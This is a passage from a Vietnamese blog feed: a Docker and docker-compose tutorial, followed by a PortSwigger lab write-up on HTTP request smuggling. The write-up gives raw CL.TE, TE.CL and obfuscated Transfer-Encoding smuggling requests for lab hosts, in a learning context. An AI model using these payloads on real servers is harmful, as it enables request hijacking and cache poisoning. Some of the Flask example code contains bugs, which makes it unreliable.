mới.</li><li>Image mới này sẽ được sử dụng cho bước tiếp theo trong Dockerfile. Vì vậy mỗi lần RUN lệnh, nó sẽ tạo ra một image layer mới.<br>Ví dụ tương tự như cách build qua Docker commit:<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Đặt tên file là Dockerfile nhé.</span></span><br><span class="line"><span class="comment"># Lưu ý phiên bản ubuntu tạo phải được hỗ trợ, nếu không khi chạy lệnh update nó sẽ báo lỗi. Mình chưa biết fix nên không nói rõ nhé :).</span></span><br><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">20.04</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y git</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y vim</span></span><br></pre></td></tr></table></figure>Bây giờ truy cập vào folder chứa Dockerfile rồi gõ lệnh <code>docker build -t ubuntu:own .</code></li></ul><p>Viết gọn các câu lệnh trên:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">20.04</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update &amp;&amp; apt-get install -y \</span></span><br><span class="line"><span class="language-bash">git \</span></span><br><span class="line"><span class="language-bash">vim</span></span><br></pre></td></tr></table></figure><h4 id="Cau-lenh-CMD"><a href="#Cau-lenh-CMD" class="headerlink" title="Câu lệnh CMD:"></a>Câu lệnh CMD:</h4><p>Khác với RUN, câu lệnh CMD sẽ không thực thi trong quá trình build image, nó chỉ thực thi khi khởi chạy container của image đó. </p><p>Cái này nhìn ví dụ là dễ hiểu nhất:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">20.04</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get -y update</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y git</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y vim</span></span><br><span class="line"><span class="keyword">CMD</span><span class="language-bash"> [<span class="string">&quot;ls&quot;</span>, <span class="string">&quot;/&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>Chạy <code>docker build -t test .</code> để build image. </p><p>Bây giờ chạy <code>docker run test</code> nó sẽ thực thi lệnh bên trong container này. Nó tương ứng với lúc chúng ta chạy lệnh <code>docker run test ls /</code>.</p><p>Nếu chúng ta chạy lệnh trực tiếp trên command line như <code>docker run test echo &quot;hello world&quot;</code> thì nó chỉ thực thi lệnh này và bỏ qua lệnh được viết ở CMD trong Dockerfile.</p><h4 id="Cau-lenh-ENTRYPOINT"><a href="#Cau-lenh-ENTRYPOINT" class="headerlink" title="Câu lệnh ENTRYPOINT"></a>Câu lệnh ENTRYPOINT</h4><p>Như ví dụ ở câu lệnh CMD, nếu chúng ta thực hiện <code>docker run test echo &quot;hello world&quot;</code> thì nó sẽ bỏ qua câu lệnh <code>ls /</code>. </p><p>Đó là điều mà ta không mong muốn nếu như build image mà lỡ có ai mới học chạy chương trình của ta không được :). </p><p>Do đó lệnh ENTRYPOINT giúp ta tránh điều đó:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">20.04</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get -y update</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y git</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y vim</span></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;ls&quot;</span>, <span class="string">&quot;/&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>Bây giờ nếu chạy <code>docker run test echo &quot;hello world&quot;</code> thì nó vẫn chỉ chạy câu lệnh của <code>ENTRYPOINT</code> mà không chạy câu lệnh đăng sau <code>docker run</code> bởi vì nó là điểm cuối rồi.</p><h4 id="Docker-cache"><a href="#Docker-cache" class="headerlink" title="Docker cache:"></a>Docker cache:</h4><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">20.04</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get -y update</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y git</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y vim</span></span><br></pre></td></tr></table></figure><p>Nếu chúng ta build Dockerfile trên từ lần thứ 2 trở đi nó sẽ build nhanh hơn lần đầu tiên, bởi vì nó sử dụng lại layer đã build. Cái này liên quan đến docker cache. Mỗi layer riêng lẻ build ở trong mỗi lần build image, nó đều được ghi lại ở docker cache để sử dụng lại (riêng lẻ luôn chứ không phải sử dụng theo từng image).</p><p>Ví dụ:<br>Build image 1:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">20.04</span>          <span class="comment"># --&gt; cache</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get -y update      <span class="comment"># --&gt; cache</span></span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y git <span class="comment"># --&gt; cache</span></span></span><br></pre></td></tr></table></figure><p>Build image 2:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">20.04</span>          <span class="comment"># --&gt; reuse</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get -y update      <span class="comment"># --&gt; reuse</span></span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y vim <span class="comment"># --&gt; Câu lệnh này khác và layer tương ứng với câu lệnh này chưa được tạo nên sẽ thực hiện tạo layer mới và đương nhiên sẽ cache lại.</span></span></span><br></pre></td></tr></table></figure><p>Để không cache lại, chúng ta có thể sử dụng cờ <code>--no-cache=true</code>, mà cờ này hơi phế nhỉ, xài làm gì :).<br><code>docker build -t test . --no-cache=true</code></p><h4 id="Cau-lenh-COPY"><a href="#Cau-lenh-COPY" class="headerlink" title="Câu lệnh COPY:"></a>Câu lệnh COPY:</h4><p>Dùng để copy file hay thư mục từ build context (nơi chứa Dockerfile và những file cần thiết) vào file hệ thống của container. Ví dụ:<br>Nội dung Dockerfile:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">20.04</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get -y update</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get install -y vim</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> abc.txt /src/abc.txt</span></span><br><span class="line"><span class="keyword">CMD</span><span class="language-bash"> [<span class="string">&quot;cat&quot;</span>, <span class="string">&quot;/src/abc.txt&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>Cùng thư mục với Dockerfile, tạo một file abc.txt ghi nội dung gì đó để test~</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker build -t addfile .</span><br><span class="line">&gt; docker run addfile</span><br><span class="line">abc.txt file ne</span><br></pre></td></tr></table></figure><p>File abc.txt đã được copy vào thư mục src của container.</p><h4 id="Cau-lenh-ADD"><a href="#Cau-lenh-ADD" class="headerlink" title="Câu lệnh ADD:"></a>Câu lệnh ADD:</h4><p>Câu lệnh này gần như tương tự với câu lệnh COPY, điểm khác ở đây là ADD không chỉ copy từ context mà còn có thể download từ internet và copy vào container.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ADD https://example.com/big.tar.xz /usr/src/things/</span><br></pre></td></tr></table></figure><p>ADD cũng có thể tự động giải nén file được tại về với một vài định dạng được hỗ trợ.</p><h4 id="Cau-lenh-WORKDIR"><a href="#Cau-lenh-WORKDIR" class="headerlink" title="Câu lệnh WORKDIR:"></a>Câu lệnh WORKDIR:</h4><p>Câu lệnh này dùng để tạo folder chỉ định và truy cập đến folder đó. <code>WORKDIR /app</code></p><h4 id="Xay-dung-Flask-web-don-gian-qua-Dockerfile"><a href="#Xay-dung-Flask-web-don-gian-qua-Dockerfile" class="headerlink" title="Xây dựng Flask web đơn giản qua Dockerfile:"></a>Xây dựng Flask web đơn giản qua Dockerfile:</h4><p><code>Python image</code>: Python image là một image được xây dựng dựa trên base image là <code>Alpine Linux</code>. Trong <code>Alpine Linux</code> này người ta sẽ cài python compiler vào. Cái này là trả lời thắc mắc cho việc tại sao python là compile mà lại có workdir các kiểu ~</p><p>Đầu tiên tạo thư mục app. Trong thư mục này sẽ chứa Dockerfile và một thư mục khác chứa file app.py, đặt là app luôn cho dễ nhé.<br>File app.py:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask</span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hello_world</span>():</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;hello world!&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ = <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">        app.run(host = <span class="string">&#x27;0.0.0.0&#x27;</span>)</span><br></pre></td></tr></table></figure><p>Nội dung Dockerfile:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> python:<span class="number">3.8</span>-alpine</span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> pip install Flask==2.0.2</span></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /app</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> app /app</span></span><br><span class="line"><span class="keyword">CMD</span><span class="language-bash"> [<span class="string">&quot;python&quot;</span>, <span class="string">&quot;app.py&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>Build image: <code>docker build -t flaskweb .</code><br>Chạy web: <code>docker run -d -p 5000:5000 flaskweb</code><br>Bây giờ trên browser gõ <a href="http://localhost:5000/">http://localhost:5000</a> để truy cập web vừa chạy.</p><h4 id="Docker-Container-Links"><a href="#Docker-Container-Links" class="headerlink" title="Docker Container Links:"></a>Docker Container Links:</h4><p>Container links cho phép các container tìm ra nhau và trao đổi thông tin một cách bảo mật với nhau.<br>Khi set up một cái link, chúng ta tạo ra một ống dẫn giữa source container và recipient container. Recipient container có thể truy cập, lấy dữ liệu và thêm dữ liệu từ source container.<br>Links được thành lập bằng cách sử dụng container name. Lợi ích của việc này là chúng ta có thể thấy một cách rõ ràng hơn, không cần phải thông qua localhost.<br>Ví dụ xây dựng một web app từ flask và redis (api để lưu trữ dữ liệu):</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Cây thư mục như sau:</span><br><span class="line">Dockerfile      </span><br><span class="line">app       --------&gt;app.py</span><br><span class="line">               |</span><br><span class="line">               ---&gt;templates-----&gt;index.html </span><br></pre></td></tr></table></figure><p>index.html</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>simple service<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">&quot;post&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;key&quot;</span> <span class="attr">value</span>=<span class="string">&#123;&#123;</span> <span class="attr">key</span> &#125;&#125;&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;cache_value&quot;</span> <span class="attr">value</span>=<span class="string">&#123;&#123;</span> <span class="attr">cahe_value</span> &#125;&#125;&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">name</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;load&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">name</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;save&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>app.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request, render_template</span><br><span class="line"><span class="keyword">import</span> redis</span><br><span class="line">app = Flask(__name__)</span><br><span class="line">default_key = <span class="string">&#x27;1&#x27;</span></span><br><span class="line">cache = redis.StrictRedis(host=<span class="string">&#x27;redis&#x27;</span>, port=<span class="number">6379</span>, db=<span class="number">0</span>)</span><br><span class="line">cache.<span class="built_in">set</span>(default_key, <span class="string">&quot;one&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>, <span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    key = default_key</span><br><span class="line">    <span class="keyword">if</span> key <span class="keyword">in</span> request.form:</span><br><span class="line">        key = request.form[<span class="string">&#x27;form&#x27;</span>]</span><br><span class="line">    <span class="keyword">if</span> request.method == <span class="string">&#x27;POST&#x27;</span> <span class="keyword">and</span> request.form[<span class="string">&#x27;submit&#x27;</span>] == <span class="string">&#x27;save&#x27;</span>:</span><br><span class="line">        cache.<span class="built_in">set</span>(key, request.form[<span class="string">&#x27;cache_value&#x27;</span>])</span><br><span class="line">    cache_value = <span class="literal">None</span></span><br><span class="line">    <span class="keyword">if</span> cache.get(key):</span><br><span class="line">        cache_value=cache.get(<span class="string">&#x27;key&#x27;</span>).decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;index.html&#x27;</span>, key=key, cache_value=cache_value)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(host=<span class="string">&#x27;0.0.0.0&#x27;</span>)</span><br></pre></td></tr></table></figure><p>Dockerfile</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">FROM python:3.8-alpine</span><br><span class="line">RUN pip install Flask==2.0.2 redis==2.10.5</span><br><span class="line">WORKDIR /app</span><br><span class="line">COPY app /app</span><br><span class="line">CMD [&quot;python&quot;, &quot;app.py&quot;]</span><br></pre></td></tr></table></figure><p>Pull và khởi chạy redis: <code>docker run -d --name redis redis:3.2.0</code><br>Build image: <code>docker build -t dockerapp:v0.1 .</code><br>Khởi chạy image và link với redis: <code>docker run -d -p 5000:5000 --link redis dockerapp:v0.1</code></p><h4 id="Docker-compose"><a href="#Docker-compose" class="headerlink" title="Docker compose"></a>Docker compose</h4><p>Các thuộc tín trong docker compose:</p><ul><li>version: chỉ ra phiên bản docker-compose đã sử dụng.</li><li>services: thiết lập các services(containers) muốn cài đặt và chạy.</li><li>image: chỉ ra image được sử dụng trong lúc tạo ra container.</li><li>build: định nghĩa một môi trường xây dựng (build context) cho Docker image và các tham số liên quan đến quá trình xây dựng. Các trường con:<ul><li>Nếu muốn chỉ rõ, ta có thể sử dụng đến trường con <code>context</code></li><li>dockerfile: Xác định đường dẫn đến Dockerfile trong build context</li></ul></li><li>ports: thiết lập ports chạy tại máy host và trong container.</li><li>restart: tự động khởi chạy khi container bị tắt.</li><li>environment: thiết lập biến môi trường ( thường sử dụng trong lúc config các thông số của db).</li><li>depends_on: chỉ ra sự phụ thuộc. Tức là services nào phải được cài đặt và chạy trước thì service được config tại đó mới được chạy.</li><li>volumes: dùng để mount hai thư mục trên host và container với nhau.</li></ul><p>Cũng như ví dụ ở trên, thay vì chúng ta pull, build image rồi khởi chạy rườm rà. Chúng ta có thể viết một <code>docker compose</code> rồi khởi chạy chỉ với một câu lệnh <code>docker-compose up</code>. </p><p>Docker compose file cần tuân thủ nghiêm ngặt thụt lề, mỗi lần thụt là 2 khoảng trắng.</p><p>File name: docker-compose.yml</p><ul><li>Dockerfile phải đặt chung với context của trường build (ở đây là <code>.</code>)<figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&#x27;3&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">dockerapp:</span></span><br><span class="line">    <span class="attr">build:</span> <span class="string">.</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;5000:5000&quot;</span></span><br><span class="line">    <span class="attr">depends_on:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">redis</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">redis:3.2.0</span></span><br></pre></td></tr></table></figure>Khởi chạy gõ <code>docker-compose up</code> hoặc thêm cờ -d <code>docker-compose up -d</code> để treo trong container.</li></ul><p>Docker compose sẽ không build lại image nếu image đó đã tồn tại, vì vậy khi ta thay đổi một vài lệnh trong Dockerfile docker-compose vẫn lấy image cũ để thao tác. </p><p>Để build lại một image mới, chúng ta cần sử dụng lệnh <code>docker-compose build</code>.</p>]]></content:encoded>
      
      
      <category domain="https://rayinaw.github.io/categories/DevOps/">DevOps</category>
      
      <category domain="https://rayinaw.github.io/categories/DevOps/Docker/">Docker</category>
      
      
      <category domain="https://rayinaw.github.io/tags/Docker/">Docker</category>
      
      
      <comments>https://rayinaw.github.io/2022/12/03/docker-learning/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Portswigger HTTP Request smuggling</title>
      <link>https://rayinaw.github.io/2022/12/02/HRS-PortSwigger/</link>
      <guid>https://rayinaw.github.io/2022/12/02/HRS-PortSwigger/</guid>
      <pubDate>Fri, 02 Dec 2022 15:22:15 GMT</pubDate>
      
        
        
      <description>&lt;h2 id=&quot;Portswigger-HTTP-Request-smuggling&quot;&gt;&lt;a href=&quot;#Portswigger-HTTP-Request-smuggling&quot; class=&quot;headerlink&quot; title=&quot;Portswigger: HTTP Reques</description>
        
      
      
      
      <content:encoded><![CDATA[<h2 id="Portswigger-HTTP-Request-smuggling"><a href="#Portswigger-HTTP-Request-smuggling" class="headerlink" title="Portswigger: HTTP Request smuggling:"></a>Portswigger: HTTP Request smuggling:</h2><h3 id="HTTP-request-smuggling-basic-CL-TE-vulnerability"><a href="#HTTP-request-smuggling-basic-CL-TE-vulnerability" class="headerlink" title="HTTP request smuggling, basic CL.TE vulnerability"></a>HTTP request smuggling, basic CL.TE vulnerability</h3><img width="620" alt="image" src="https://github.com/user-attachments/assets/2be597eb-3e17-4f72-ad85-5f20c67d62b7"><p>Yêu cầu: Làm cho server trả về lỗi “Unrecognized method GPOST”.<br>Gửi yêu cầu đầu tiên đến server:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a7d003e03334d1dc24b5a4f002f0071.web-security-academy.net</span><br><span class="line">Connection: close</span><br><span class="line">Content-Length: <span class="number">10</span></span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line"><span class="number">3</span></span><br><span class="line">aaa</span><br><span class="line"><span class="number">0</span></span><br><span class="line"></span><br><span class="line">G</span><br></pre></td></tr></table></figure><p>Sau đó gửi một yêu cầu bình thường và lỗi sẽ triggered.</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a7d003e03334d1dc24b5a4f002f0071.web-security-academy.net</span><br><span class="line">Connection: close</span><br></pre></td></tr></table></figure><img width="719" alt="image" src="https://github.com/user-attachments/assets/e33bead5-dc94-4c9c-a75c-eaf7e5da9e6b"><img width="716" alt="image" src="https://github.com/user-attachments/assets/f8444f11-8e3b-45e3-a033-50bdfc3f8666"><h3 id="HTTP-request-smuggling-basic-TE-CL-vulnerability"><a href="#HTTP-request-smuggling-basic-TE-CL-vulnerability" class="headerlink" title="HTTP request smuggling, basic TE.CL vulnerability"></a>HTTP request smuggling, basic TE.CL vulnerability</h3><p>Cũng là kích hoạt lỗi “Unrecognized method GPOST”. Back-end không hỗ trợ chunked encoding nên sẽ là dạng TE.CL</p><p>Uncheck update Content-Length:<br><img width="406" alt="image" src="https://github.com/user-attachments/assets/c54f3688-26c5-4c18-ad83-6167eae4ba16"></p><p>Gửi yêu cầu sau đến server sau đó gửi một request tùy ý.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1</span><br><span class="line">Host: 0aa800e204010a8f810e48bf008000ff.web-security-academy.net</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Content-Length: 4</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">5d</span><br><span class="line">GPOST / HTTP/1.1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 15</span><br><span class="line"></span><br><span class="line">aaaa</span><br><span class="line">0</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><img width="715" alt="image" src="https://github.com/user-attachments/assets/209c3e4e-e0bc-485c-a26a-5753cc243e90"><img width="506" alt="image" src="https://github.com/user-attachments/assets/541a19ed-e25f-422d-a295-fa470cd5abec"><p>Giải thích:</p><ul><li>Một yêu cầu POST sẽ hợp lệ nếu có trường <code>Content-Type</code> hoặc <code>Content-Length</code> hoặc <code>Transfer-Encoding</code>, ở đây mình thêm trường <code>Content-Type: application/x-www-form-urlencoded</code> để tránh đôi khi có lỗi nó không xét 2 cái kia, không thêm cũng được không quan trọng.</li><li>Ở đây như đề bài nói máy chủ back-end không hỗ trợ <code>Transfer-Encoding: chunked</code> nên chúng ta có thể để máy chủ front-end phân tích <code>Transfer-Encoding: chunked</code> và để cho máy chủ back-end phân tích <code>Content-Length</code>.</li><li>5d hex &#x3D; 93 decimal &#x3D; dòng 1 + \r\n + d2 + \r\n +d3 +\r\n + d4 + \r\n + aaaa</li><li>Kết thúc chuỗi là số 0 và xuống dòng để máy chủ front-end phân tích <code>Transfer-Encoding: chunked</code> hợp lệ.</li><li>Sau khi máy chủ front-end phân tích, nó thõa mãn và gửi đến back-end. Máy chủ back-end chỉ phân tích trường <code>Content-Length</code> và ở đây chỉ bằng 4 và bằng 5d + \r + \n nên phần còn lại sẽ là một yêu cầu mới.<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">GPOST / HTTP/1.1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 15</span><br><span class="line"></span><br><span class="line">aaaa</span><br><span class="line">0</span><br></pre></td></tr></table></figure></li><li>Bây giờ nếu chúng ta gửi tiếp một yêu cầu nữa cùng chung một connection TCP nó sẽ trigger lỗi <code>Unrecognized method GPOST</code>. Và để được như vậy thì chúng ta cần set thêm trường <code>Connection: Keep-Alive</code> hoặc <code>Connection: Pipelining</code> tuy nhiên với HTTP&#x2F;1.1 thì <code>Connection: Keep-Alive</code> luôn được bật trừ khi máy chủ set là close nên chúng ta cũng không cần thiết thêm vào (thêm cho chắc :P).</li></ul><h3 id="HTTP-request-smuggling-obfuscating-the-TE-header"><a href="#HTTP-request-smuggling-obfuscating-the-TE-header" class="headerlink" title="HTTP request smuggling, obfuscating the TE header"></a>HTTP request smuggling, obfuscating the TE header</h3><p>Ở đây ta sẽ gửi một cái TE hợp lệ và một cái TE không hợp lệ để obfuscate server. Gửi 2 lần yêu cầu sau để trigger lỗi.</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">0</span>a4c0057043adfc481d61c2b00c90078.web-security-academy.net</span><br><span class="line">Connection: Keep-Alive</span><br><span class="line">Content-length: <span class="number">4</span></span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Transfer-Encoding: xxx</span><br><span class="line"></span><br><span class="line"><span class="number">5</span>d</span><br><span class="line">GPOST / HTTP/<span class="number">1.1</span></span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: <span class="number">15</span></span><br><span class="line"></span><br><span class="line">aaaa</span><br><span class="line"><span class="number">0</span></span><br><span 